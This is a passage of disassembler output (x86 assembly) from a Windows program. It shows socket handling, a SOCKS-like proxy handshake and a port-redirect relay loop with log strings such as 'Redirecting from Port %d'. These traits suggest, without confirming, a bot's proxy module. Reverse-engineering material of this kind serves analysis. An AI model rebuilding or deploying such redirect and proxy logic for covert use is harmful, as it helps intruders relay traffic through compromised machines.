ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 0E8905600h dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445330 push esi call edi lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445328 push esi call edi push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h call near ptr 71AB2D0Fh nop mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 call near ptr 71AB3B91h nop test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx call near ptr 71AB88D3h nop test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3C8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3C8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3C8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3C8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3C8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax nop call near ptr 71AB9639h loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call near ptr 71AB406Ah nop cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah nop call near ptr 2830000h loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; db 43h ; C db 0 db 64h ; d db 0A1h ; db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; db 0F1h ; db 89h ; db 74h ; t db 24h ; $ db 4 db 0E8h ; db 0A0h ; db 67h ; g db 0FDh ; db 0FFh db 68h ; h db 70h ; p db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; db 6 db 0C0h ; db 0E1h ; db 43h ; C db 0 db 0E8h ; db 0DAh ; db 5Dh ; ] db 0FDh ; db 0FFh db 8Bh ; db 4Ch ; L db 24h ; $ db 8 db 8Bh ; db 0C6h ; db 5Eh ; ^ db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 83h ; db 0C4h ; db 10h db 0C3h ; db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh call near ptr 2830000h nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax nop call near ptr 71AB9639h loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished 